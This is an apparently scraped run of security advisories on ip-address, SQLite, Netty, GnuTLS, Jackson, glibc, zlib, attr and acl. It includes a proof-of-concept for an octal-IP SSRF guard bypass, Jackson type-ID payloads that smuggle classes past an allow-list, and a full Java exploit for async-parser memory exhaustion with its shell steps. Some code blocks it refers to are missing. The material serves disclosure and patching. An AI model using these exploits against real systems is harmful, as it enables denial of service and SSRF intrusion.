This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.
Proof of concept
npm i ip-address@<!-- -->10.3.0, then:
const{ Address4 }=require('ip-address');// A guard of the shape the library documents.functionisBlocked(host){returnAddress4.isValid(host)&&newAddress4(host).isPrivate();}for(consthof['10.0.0.1','012.0.0.1','012.012.012.012']){console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW',h,'-> resolver reaches',newURL('http://'+h+'/').hostname);}
The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.
Remediation
Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.
This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.
If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:
These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.
One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:
A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.
A flaw was found in SQLite. A use-after-free vulnerability in the expression evaluation logic, specifically within the sqlite3ReleaseTempReg and exprComputeOperands functions, allows a remote attacker to exploit the system. By supplying a malicious SQL statement, an attacker can cause a denial of service, leak sensitive information, or potentially execute arbitrary code.
Expired Pointer Dereference
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
9.8
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score
0.340%
EPSS Percentile
27th percentile
Description
A flaw was found in sqlite. A remote attacker can exploit a use-after-free vulnerability in the ORDER BY clause parsing routine by crafting a malicious SQL statement. This can lead to an application crash, sensitive information disclosure, and in some cases, arbitrary code execution, allowing the attacker to run their own commands on the affected system.
Expired Pointer Dereference
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
9.8
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score
0.373%
EPSS Percentile
30th percentile
Description
A flaw was found in SQLite. A remote attacker can exploit a use-after-free vulnerability in the core parsing component by sending specially crafted SQL queries. This can lead to an application crash, sensitive information disclosure, and potentially allow the attacker to execute arbitrary code on the affected system.
Expired Pointer Dereference
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
9.8
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score
0.344%
EPSS Percentile
27th percentile
Description
A flaw was found in sqlite. This use-after-free vulnerability in the JSON parsing logic allows remote attackers to craft malicious JSON payloads. This can trigger memory deallocation followed by illegal memory access, potentially leading to arbitrary code execution, sensitive information leakage, or denial of service.
Expired Pointer Dereference
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
8.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
EPSS Score
0.332%
EPSS Percentile
26th percentile
Description
A flaw was found in SQLite. A use-after-free vulnerability in the SQLite JSON module's jsonRemoveFunc allows a remote attacker to cause a denial of service by crashing the service. This vulnerability can also lead to the disclosure of sensitive heap memory information.
The SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYN_STREAM frame with FLAG_FIN=0, storing the partially-constructed FullHttpRequest in an internal map (messageMap) to accumulate subsequent DATA frames. When the remote peer sends an RST_STREAM for that stream, or when the accumulated content exceeds maxContentLength, the decoder removes the entry from the map but never releases the pooled ByteBuf, permanently leaking the allocated memory.
Uncontrolled Resource Consumption
Affected range
>=4.1.0.Final <=4.1.135.Final
Fixed version
4.1.136.Final
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.423%
EPSS Percentile
35th percentile
Description
Summary
Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.
The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.
Impact
A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
Uncontrolled Resource Consumption
Affected range
>=4.1.0.Final <=4.1.135.Final
Fixed version
4.1.136.Final
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.423%
EPSS Percentile
35th percentile
Description
Summary
Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.
Details
Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.
The NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wire_bytes=2097164, first_value=1, and last_value=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.
Impact
remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings * 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wire_bytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
Improper Handling of Length Parameter Inconsistency
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
1.263%
EPSS Percentile
67th percentile
Description
A heap buffer overflow vulnerability exists in the DTLS handshake fragment reassembly logic of GnuTLS. The issue arises in merge_handshake_packet() where incoming handshake fragments are matched and merged based solely on handshake type, without validating that the message_length field remains consistent across all fragments of the same logical message. An attacker can exploit this by sending crafted DTLS fragments with conflicting message_length values, causing the implementation to allocate a buffer based on a smaller initial fragment and subsequently write beyond its bounds using larger, inconsistent fragments. Because the merge operation does not enforce proper bounds checking against the allocated buffer size, this results in an out-of-bounds write on the heap. The vulnerability is remotely exploitable without authentication via the DTLS handshake path and can lead to application crashes or potential memory corruption.
Integer Underflow (Wrap or Wraparound)
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.805%
EPSS Percentile
54th percentile
Description
A flaw in GnuTLS DTLS handshake parsing allows malformed fragments with zero length and non-zero offset, leading to an integer underflow during reassembly and resulting in an out-of-bounds read. This issue is remotely exploitable and may cause information disclosure or denial of service.
BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.
Impact
Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.
Affected / Patched (verified via git tag --contains)
2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
Severity / CWE
Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.
Upstream fix
FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.
If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.
An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.
This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.
Impact
Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.
Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.
Proof of Concept
Configuration restricting polymorphic deserialization to a single safe container:
On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.
Variant payloads (all bypass an ArrayList/HashMap allow-list):
Type ID
Smuggled type position
java.util.ArrayList<Evil>
list element
java.util.HashMap<Evil,String>
map key
java.util.HashMap<String,Evil>
map value
java.util.ArrayList<java.util.ArrayList<Evil>>
nested element
java.util.ArrayList<Evil[]>
array element
Patches
Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
A flaw was found in the glibc library. Passing an excessively large alignment value to the memalign suite of functions, such as memalign, posix_memalign, aligned_alloc, valloc and pvalloc, an integer overflow can occur during internal size calculations due to improper overflow checks, causing an allocation of a small chunk of memory which is subsequently used for writing. This issue can result in an application crash or heap memory corruption.
Reachable Assertion
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.382%
EPSS Percentile
31st percentile
Description
A flaw was found in glibc, the GNU C Library. A remote attacker could exploit this vulnerability by providing specially crafted inputs using the IBM1390 or IBM1399 character sets to the iconv() function. This could lead to an assertion failure, causing the application to crash and resulting in a Denial of Service (DoS).
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
8.6
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score
0.388%
EPSS Percentile
32nd percentile
Description
A flaw was found in zlib. A global buffer overflow vulnerability exists in the untgz utility, specifically within the TGZfname() function. This flaw allows an attacker to provide an archive name longer than 1024 bytes, leading to an out-of-bounds write. This can result in memory corruption, denial of service, and potentially arbitrary code execution on the affected system.
Improper Link Resolution Before File Access ('Link Following')
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
7.1
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Score
0.131%
EPSS Percentile
3rd percentile
Description
A flaw was found in the attr component, specifically within the getfattr utility. This vulnerability allows a local attacker to perform a symlink traversal attack. By replacing a pathname component with a symbolic link during directory hierarchy traversal, an attacker can redirect getfattr operations to arbitrary files. This can lead to local privilege escalation when getfattr is executed by a privileged process over a path controlled by the attacker.
The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
com.fasterxml.jackson.core:jackson-core2.18.6
com.fasterxml.jackson.core:jackson-core2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep// other parts of parsing simpler)outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return_updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.
Setup:
Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
JVM: OpenJDK 17.0.18
Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any @<!-- -->RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
Build
Chunks accepted before exception
Digits buffered
Time to detection
jackson-core 2.18.7
250 (full payload)
50,000 (50x the configured limit)
6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch)
5
1,001
155ms — moment threshold crossed
Note on the default @<!-- -->RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @<!-- -->RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@<!-- -->gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
Improper Link Resolution Before File Access ('Link Following')
Affected range
>=0
Fixed version
Not Fixed
CVSS Score
7.1
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Score
0.153%
EPSS Percentile
5th percentile
Description
A flaw was found in the acl component, specifically within its libacl pathname-based functions. A local attacker could exploit this vulnerability by using a symbolic link to replace a pathname component. This could allow the attacker to redirect access control list (ACL) read or write operations to arbitrary files or directories, leading to unauthorized manipulation of ACLs and ultimately local privilege escalation.
A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in
applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener.
When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error
path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2
connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.
Details
In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java, Http2Decompressor.decompress(...) does:
// around line 433decompressor.writeInbound(data.retain());
The argument data.retain() is evaluated beforewriteInbound(...) executes, incrementing the
buffer's reference count (refCnt: 1 -> 2). The very first statement of EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.
When that happens:
the DATA payload has been retain()ed but never entered the pipeline, so the decoder's finally { release() } never runs;
the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not
release the extra reference;
the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.
The decompressor channel is closed on a reachable path: Http2ConnectiononStreamRemoved → Http2Decompressor.cleanup() → EmbeddedChannel.finishAndReleaseAll()
(DelegatingDecompressorFrameListener.java:125-133 and 418-420).
A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g.
continuing to send DATA after END_STREAM / stream removal) thus leaks one direct ByteBuf per
frame.
Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...)
— the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t)
block (line ~451), which lacks a data.release() rollback.
Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when
the data never entered the pipeline:
booleanwriteSucceeded = false;
try {
decompressor.writeInbound(data.retain());
writeSucceeded = true; // pipeline now owns the releaseif (endOfStream) {
decompressor.finish();
}
return0;
} catch (Throwablet) {
if (!writeSucceeded) {
data.release(); // roll back the extra retain(); data never entered pipeline
}
if (tinstanceofHttp2Exception) {
throw (Http2Exception) t;
}
throwstreamError(stream.id(), INTERNAL_ERROR, t, ...);
}
Case
writeSucceeded
catch action
Reason
ensureOpen() throws (this bug)
false
data.release()
data never entered pipeline
handler throws internally
true
no release
decoder finally already released
finish() throws
true
no release
writeInbound already succeeded
PoC
Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central,
using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).
Reproduction steps:
Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final): netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler, netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2, netty-codec-compression.
Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel
(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)).
Close the internal decompressor channel (equivalent to the end state of cleanup() / finishAndReleaseAll()).
Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1).
Call decompress(...) on the closed channel.
Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry
(EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433; data.refCnt() is now 2.
Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.
Observed reference-count trace:
gzipData initial refCnt = 1
decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back)
caller releases once -> refCnt = 1 (release() returns false; not deallocated)
=> buffer never reaches 0 -> direct memory leaked
Observed exception stack (confirms the leak point):
java.nio.channels.ClosedChannelException
at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959)
at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360)
at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor
.decompress(DelegatingDecompressorFrameListener.java:433)
Two notes on the harness (they do not affect the leak mechanism):
The internal channel is closed directly via close() rather than through cleanup(). The end
state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on
"channel closed → retain not rolled back", not on how the channel was closed.
In the isolated harness the rethrown StreamException's root cause shows as NullPointerException
because the harness does not initialise an Http2LocalFlowController (a secondary exception
reported during channel close). The leak is already sealed at the ClosedChannelException thrown
by writeInbound's ensureOpen() (line 360); in a real server with the flow controller
initialised, the triggering exception is the ClosedChannelException itself.
A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the
exact javac / java commands can be attached on request.
Impact
Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to
denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf.
Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing DelegatingDecompressorFrameListener in its HTTP/2 pipeline.
Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA
